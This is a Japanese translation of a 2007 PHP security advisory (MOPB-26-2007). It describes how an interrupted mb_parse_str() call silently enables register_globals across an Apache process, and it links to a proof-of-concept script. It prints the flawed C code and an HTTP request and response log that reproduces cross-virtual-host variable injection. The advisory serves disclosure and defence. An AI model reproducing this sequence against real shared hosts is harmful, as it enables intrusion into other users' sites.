Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-26-2007.php
http://www.php-security.org/MOPB/code/MOPB-26-2007.php
■リファレンス
HPHP-19-2005
■サマリ
parse_str関数のマルチバイト版のmb_parse_str関数が一つのパラメータのみで呼び出された場合、memory_limit制限などで割り込まれると内部的に有効化されたregister_globals設定が無効化されません。このため、このApacheプロセスはPHPコードからは検出不可能な状態でregister_globals設定が有効化されてしまいます。
この脆弱性は2005年にHardened-PHPプロジェクトが非マルチバイト版のparse_strに発見した脆弱性と類似しています。
■影響するバージョン
PHP 4.4.6以下、PHP 5.2.1以下
■詳細情報
mb_parse_str()関数が一つの引数で呼び出された場合、内部的にregister_globalsを有効化します。この有効化memory_limitによる割り込みを考慮せずに直接メモリのフラグを操作によって行われています。
if (info->force_register_globals) {
prev_rg_state = PG(register_globals);
PG(register_globals) = 1;
}
もしフラグのリセットが行われる前にスクリプトの実行が停止すると、フラグが元に戻されないので非常に危険です。これは添付の攻撃コードで示すようにメモリリミット違反などにより攻撃可能な状態が発生します。
この種のregister_globalsの有効化はPHPスクリプトからはregister_globalsが無効に見えてしまい、Apacheのチルドプロセスが終了するまでregister_globalsが有効化されてしまうので、php.ini設定によるregister_globalsの有効化より危険です。register_globals有効化に対するセーフガードはほとんど機能しません。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードはメモリリミット制限近くまでメモリを割り当てます。その後、mb_parse_str()関数を呼び、内部的にregister_globalsが有効化されている間にmemory_limit制限違反を発生させます。
この脆弱性をテストするにはApacheサーバを少なくとも2つの仮想ホストを有効化し、サーバ全体でregister_globals設定を無効化して機動している必要があります。そして、以下の様なリクエストを送信します。
GET /rg.php?global_var=injected_global_var HTTP/1.1
Host: mopb-test
Connection: Keep-Alive
Keep-Alive: 100HTTP/1.1 200 OK
Date: Sun, 18 Mar 2007 13:33:10 GMT
Server: Apache
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-112
string(0) “”
NULL0
GET /MOPB-26-2007.php HTTP/1.1
Host: other-vhost
Connection: Keep-Alive
Keep-Alive: 100HTTP/1.1 200 OK
Date: Sun, 18 Mar 2007 13:33:10 GMT
Server: Apache
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1b4
Fatal error: Allowed memory size of 482344960 bytes exhausted (tried to allocate 164001
bytes) in /var/www/other-vhost/MOPB-26-2007.phpon line 290
GET /rg.php?global_var=injected_global_var HTTP/1.1
Host: mopb-test
Connection: CloseHTTP/1.1 200 OK
Date: Sun, 18 Mar 2007 13:33:14 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-12e
string(0) “”
string(19) “injected_global_var”0
この場合、rg.phpスクリプトはini_get(“register_globals”);とグローバル変数global_varの値のみを出力します。グローバル変数が最後のリクエストで、ini_get()関数ではregister_globalsは無効であるにも関わらず、グローバル変数が設定されていることは明らかです。
■備考
この種類の脆弱性の危険性は、多くの最近のスクリプトはregister_globalsの有効化されていると、警告を表示したり、処理を中止したり、register_globalsの処理が無かったように処理したりしていますが、これらの処理が役に立たなくなる点です。
この脆弱性を攻撃された場合、スクリプトはregister_globalsが有効化されていることに(醜いトリックを使わない限り)気付かず、register_globalsが無効化されているものとして実行してしまいます。
mod_php(訳注:PHPをWebサーバのモジュールとして)を利用している共有環境では悪意のあるユーザによってほかのVHOSTのregister_globalsが有効化されてしまいます。専用環境の場合、mb_parse_str()関数が1つの引数でのみ利用されている場合、register_globalsを有効化され更なる攻撃に利用されます。